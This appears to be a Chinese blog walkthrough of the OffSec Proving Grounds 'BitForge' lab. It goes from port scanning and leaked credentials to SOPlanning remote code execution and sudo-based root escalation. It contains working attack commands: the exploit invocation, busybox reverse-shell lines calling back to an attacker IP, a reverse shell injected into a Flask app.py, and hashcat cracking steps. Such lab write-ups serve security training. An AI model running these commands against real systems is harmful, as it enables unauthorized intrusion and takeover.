本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
BitForge
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
子域名搜集 –> 子域应用版本信息(Simple Online Planning v1.52.01) –> 目录枚举 –> MySQL 数据库连接口令 –> 查看应用源码,得到应用后台用户密码加密规则 –> 通过 MySQL 数据库修改应用后台密码 –> Simple Online Planning 远程代码执行漏洞 –> www-data 用户权限 –> pspy 进程监控 –> jack 用户密码 –> 用户旗帜
权限提升:
/usr/bin/flask_password_changer sudo 权限 –> 修改/opt/password_change_app/app.py 反弹 shell –> root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5 6 7
| sudo nmap -p- 192.168.228.186 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql 9000/tcp closed cslistener
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| sudo nmap -p22,80,3306,9000 -sCV 192.168.228.186
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA) |_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519) 80/tcp open http Apache httpd | http-git: | 192.168.228.186:80/.git/ | Git repository found! | .git/config matched patterns 'user' | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: created .env to store the database configuration |_http-server-header: Apache |_http-title: Did not follow redirect to http://bitforge.lab/ 3306/tcp open mysql MySQL 8.0.40-0ubuntu0.24.04.1 | mysql-info: | Protocol: 10 | Version: 8.0.40-0ubuntu0.24.04.1 | Thread ID: 19 | Capabilities flags: 65535 | Some Capabilities: Support41Auth, SupportsCompression, FoundRows, Speaks41ProtocolNew, LongColumnFlag, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, IgnoreSigpipes, ConnectWithDatabase, InteractiveClient, LongPassword, SupportsTransactions, ODBCClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: \x1B\x1E/*@nt"\x18mA\x1B\x0BXaOX\x17) |_ Auth Plugin Name: caching_sha2_password 9000/tcp closed cslistener Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 和 MySQL 服务。
3.2 渗透测试突破边界
3.2.1 子域 Database.inc 泄露 MySQL 密码
访问靶机 HTTP 80 端口发现被重定向至 bitforge.lab 域名,将其添加至本地域名解析。
1
| echo "192.168.228.186\tbitforge.lab" | sudo tee -a /etc/hosts
|
nmap 扫描过程得知系统存在 .git 目录泄露,使用 git_dumper.py 将其克隆至本地,在克隆后的目录中发现 MySQL root 用户密码。
1
| python3 git_dumper.py http://bitforge.lab/ ./git
|


实际上 .git 目录泄露属于兔子洞,利用其泄露的信息对我们没有任何帮助,因为靶机 MySQL 服务禁用了 root 用户登录,且泄露的口令也不能进行复用。
.git 目录泄露在打靶过程需要重点关注,因为它会直接泄露网站源码和 Git 的执行日志,这里只是打靶结束总结出的结论。
通过 .git 泄露的信息无法进一步利用,尝试对域名进行子域枚举,使用工具没有枚举成功,通过点击主站标签发现 plan 子域系统。


将子域添加至本地域名解析。
1
| echo "192.168.228.186\tplan.bitforge.lab" | sudo tee -a /etc/hosts
|
访问子域系统发现其部署了 Simple Online Planning v1.52.01 应用,使用 searchsploit 检索,发现历史存在远程代码执行漏洞。

1
| searchsploit Simple Online Planning
|

将脚本复制至当前目录,测试执行发现需要指定用户名和密码。
1
| searchsploit -m php/webapps/52082.py
|

使用常见的一些弱口令无法登录系统,对子域进行目录枚举时发现了 /database.inc 文件,访问该文件得到了 MySQL BitForgeAdmin 用户密码。
1
| dirsearch -u http://plan.bitforge.lab/
|


1 2
| $cfgUsername = 'BitForgeAdmin'; $cfgPassword = 'B1tForG3S0ftw4r3S0lutions';
|
利用获取的密码可登录 MySQL 管理数据库,为了方便操作这里使用 DBeaver 工具进行远程管理。

3.2.2 MySQL 重置 SOPlanning 管理员密码
由于我们已经有了子域数据库管理权限,可查询或修改数据库中网站后台的用户和密码。
使用 DBeaver 工具检索 soplanning 数据库表信息时,在 planning_use 表发现了 admin 用户的加密密码,使用 hashcat 无法破解。

由于我们不清楚 Simple Online Planning 应用后台密码的加密规则,此时就需要找到应用源码,在源码中检索加密规则,然后再执行破解或直接写入一个新的密码。
Simple Online Planning v1.52.01 源码:
1
| https://sourceforge.net/projects/soplanning/
|


使用 sublime text 打开网站源码所在目录,全局检索 planning_use 字符,发现 class_user.inc 文件定义了一些函数。

其中 hashpassword 函数将密码字符串两端使用 ¤ 进行拼接,然后在通过 sha1 进行加密,这大概率就是写入数据库总的加密密码,由于密码两端使用了特殊符号拼接导致使用 hashcat 无法成功破解。

利用获取的加密规则,使用 CyberChef 生成一个新的密码并写入数据库。
1
| http://gchq.github.io/CyberChef/#recipe=SHA1(80)&input=pDEyMzQ1NqQ&ieol=CRLF&oeol=FF
|


利用修改后的密码成功登录 Simple Online Planning 后台。

思考:
对于某些靶场可能需要成功破解加密的密文,然后通过破解的密文进行密码复用,我们就必须生成一个符合加密规则的密码本,然后在执行 hashcat 破解(针对该靶场 rockyou 字典无法成功破解)。
1
| sed 's/^/¤/' ~/Desktop/rockyou.txt | sed 's/$/¤/' > rockyou_¤.txt
|

1
| hashcat -m 100 -a 1 hash.txt rockyou_¤.txt
|
3.2.3 Simple Online Planning 远程代码执行
在 kali 使用 nc 监听 80 端口,再次执行之前复制的攻击脚本,得到网站 www-data 用户 shell。
1 2 3
| python3 52082.py -t http://plan.bitforge.lab/www -u admin -p 123456 nc -lvnp 80 busybox nc 192.168.45.170 80 -e /bin/bash
|


升级为交互式 shell。

3.3.3 Pspy 进程监控,获取到 jack 用户密码
使用 pspy 工具监控系统进程,发现了 jack 用户密码。

通过 su 命令切换至 jack 用户 shell。

3.2.4 用户旗帜获取

3.3 提权获取系统管理员权限
3.3.1 Flask_password_changer 脚本 sudo 权限提权至 root
jack 用户可使用 root 权限执行/usr/bin/flask_password_changer 脚本。

脚本用于执行 /opt/password_change_app 目录下的 flask 程序,jack 用户对程序执行的 py 文件具有写入功能,利用该程序,可写入反弹 shell 然后执行 sudo 指令。


1 2 3 4 5 6 7 8 9 10
| from flask import Flask, render_template import os
os.system('busybox nc 192.168.45.170 80 -e /bin/bash')
app = Flask(__name__)
@app.route("/") def home(): return render_template("index.html")
|

1 2 3 4 5
| nc -lvnp 80
sudo -u root /usr/bin/flask_password_changer
|


成功获取到系统 root 用户权限。
3.3.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨